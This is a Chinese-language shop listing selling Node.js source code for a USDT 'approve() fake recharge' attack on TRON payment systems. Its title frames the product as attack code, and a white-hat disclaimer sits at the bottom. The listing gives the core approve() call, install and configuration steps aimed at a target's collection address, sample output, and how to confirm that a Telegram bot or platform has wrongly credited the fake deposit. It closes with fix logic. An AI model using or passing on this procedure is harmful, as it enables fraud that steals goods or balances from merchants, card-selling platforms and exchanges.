USDT充值漏洞攻击 Node 源码|TRC20/ERC20 充值漏洞利用脚本全套源码

¥9.90

库存:999 件

USDT充值漏洞攻击 Node 源码|TRC20/ERC20 充值漏洞利用脚本全套源码
热度 5

USDT充值漏洞攻击 Node 源码|TRC20/ERC20 充值漏洞利用脚本全套源码

approve-attack-test — USDT 假充值攻击复现脚本

用于白帽子安全测试,验证 TRON 链 USDT 收款系统是否存在 approve() 假充值漏洞

USDT充值攻击脚本/充值漏洞攻击/node全源/USDT充值攻击脚本源码

一、这脚本是干什么的?

背景:一种常见的链上充值漏洞

很多 TRON 链上的收款系统(如 Telegram 机器人、自动发卡平台、交易所充值网关)通过监控链上交易来判断用户是否充值了 USDT。它们的逻辑通常类似:

交易来了 → 检查是不是 USDT 合约的交易 → 检查收款地址是不是自己 → 检查金额对不对 → 入账! 漏洞就在这里:TRON 链的 USDT(TRC-20 代币)合约有两种操作会触发链上交易:

如果收款系统只检查了”有没有交易”和”金额对不对”,而没有检查交易类型(究竟是 transfer 还是 approve),攻击者就可以:

调用 approve(收款方地址, 金额) → 产生一笔链上交易,参数里包含收款方地址和金额

收款系统看到交易 → “嗯,地址对、金额对” → 误判为充值到账

攻击者实际上没有转任何 USDT,但系统却认为收到了钱

这就是所谓的 “approve 假充值攻击”。

这个脚本的作用

这个脚本就是用来复现上述攻击的白帽子安全测试工具。运行它来验证你的收款系统是否已经修复了这个漏洞:

漏洞未修复 → 你会在 Telegram 机器人/后台看到”充值到账”通知

修复生效 → 没有任何误判通知

二、攻击原理图解

┌─────────────────────────────────────────────────────────────────┐ │ 正常充值流程 │ │ │ │ 用户 链上 收款系统 │ │ │ │ │ │ │ │─ transfer(收款,100)──▶│ │ │ │ │ │── 区块确认 ────────────▶│ │ │ │ │ │ │ │ │ │ 检查到 transfer 事件 │ │ │ │ 金额 100 USDT │ │ │ │ 实际到账 100 USDT │ │ │ │ │ │ │ │ │ ──▶ 充值成功 │ │ │ ├─────────────────────────────────────────────────────────────────┤ │ approve 攻击流程 │ │ │ │ 攻击者 链上 收款系统 │ │ │ │ │ │ │ │─ approve(收款,100)──▶│ │ │ │ │ │── 区块确认 ────────────▶│ │ │ │ │ │ │ │ │ │ 检查到交易 │ │ │ │ 金额 100 USDT │ │ │ │ 实际到账 0 USDT │ │ │ │ │ │ │ │ │ 如果没检查事件类型 │ │ │ │ 就会误判 ──▶ 充值成功! │ │ │ │ │ │ │ │ 攻击者实际花了 0 USDT,只付了约 0.35 TRX 手续费 │ │ │ 但系统以为收到了 100 USDT │ └─────────────────────────────────────────────────────────────────┘ 三、技术细节 涉及的合约 项目 值 链 TRON 主网 合约 USDT (TRC-20) 合约地址 TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t 精度 6 位小数(1 USDT = 1,000,000 sun) 脚本发起的交易 contract.approve(collectionAddress, amountSun).send({ feeLimit: 100_000_000, // 最大手续费 100 TRX(实际约 0.35 TRX) callValue: 0, // 不附带任何 TRX 转账 shouldPollResponse: false // 不等待确认,只广播 }) 关键点:

不调用 transfer,只调用 approve

callValue: 0 — 不转 TRX

交易上链后会产生一条授权记录,但余额不发生任何变化

四、前置条件

在运行脚本前,你需要准备一个专用的测试钱包:

能量可以通过 TRON 链的能量租赁平台租用,费用极低(通常不到 1 TRX)。

五、使用方法

第一步:安装依赖

cd approve-attack-test npm install 会自动安装 tronweb(TRON SDK)和 dotenv(环境变量加载)。

第二步:配置 .env

编辑 .env 文件,填入三个必填参数:

# 测试钱包私钥(64位十六进制,不含 0x 前缀) PRIVATE_KEY=abc123def456abc123def456abc123def456abc123def456abc123def456abc123 # 目标收款地址(你要测试的机器人/平台的收款地址) COLLECTION_ADDRESS=TXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX # approve 金额(填机器人生成的订单金额,例如 10.06) AMOUNT=10.06 # TronGrid API Key(可选,不填也能用,填了更稳定) TRONGRID_API_KEY=你的key 第三步:运行脚本 node approve.js 第四步:观察结果 脚本会输出类似:

======================================================= USDT approve() 攻击复现测试 ======================================================= 测试钱包地址 : TAbc123... 目标收款地址 : TXyz789... approve 金额 : 10.06 USDT 测试钱包 TRX : 5.230000 TRX 提示:能量由租赁提供,TRX 仅用于带宽费(约 0.35 TRX) approve 金额 : 10060000 sun(10.06 USDT) 正在构造 approve 交易... 正在广播交易(approve)... ======================================================= approve 交易已广播 ======================================================= TX Hash : a1b2c3d4e5f6... TronScan : https://tronscan.org/#/transaction/a1b2c3d4e5f6... 接下来的验证步骤: 1. 等待约 30 秒(机器人 watcher 轮询间隔) 2. 观察 Telegram 机器人是否发来"充值自动到账"通知 修复生效 → 无任何通知 漏洞仍存 → 收到入账通知 3. 检查后台充值记录,看是否有对应 tx_hash 的入账 第五步:判断结果 现象 结论 没有任何入账通知,后台无充值记录 漏洞已修复,系统正确区分了 transfer 和 approve Telegram/后台收到”充值到账”通知 漏洞存在,系统未检查交易类型,需要立即修复 六、如何修复漏洞? 如果你的系统检测到漏洞存在,后端收款监控逻辑需要修改:

错误的检测逻辑:

if (tx.to == USDT_CONTRACT && tx.amount == expectedAmount) { // 入账! } 正确的检测逻辑:

if ( tx.to == USDT_CONTRACT && tx.method == "transfer" // ← 必须检查方法名 && tx.parameters.to == myAddress // ← 检查 transfer 的收款方 && tx.amount == expectedAmount ) { // 入账! } 核心区别:必须检查交易调用的合约方法是 transfer 还是 approve,通过解析交易的 data 字段(ABI 解码)获取方法签名。transfer 的方法签名是 a9059cbb,approve 是 095ea7b3。

七、注意事项

八、项目结构

approve-attack-test/ ├── approve.js # 主脚本(117 行) ├── package.json # 项目配置 ├── package-lock.json # 依赖锁文件 ├── .env # 配置文件(私钥、金额等) └── node_modules/ # 依赖包 九、依赖 包 版本 用途 tronweb ^5.3.2 TRON 区块链 JS SDK dotenv ^16.0.0 加载 .env 环境变量 十、免责声明 本脚本仅供白帽子安全测试使用,用于验证自有系统的安全性。

请在获得授权的系统上测试

禁止用于任何非法或未经授权的攻击行为

使用本脚本产生的一切后果由使用者自行承担


相关商品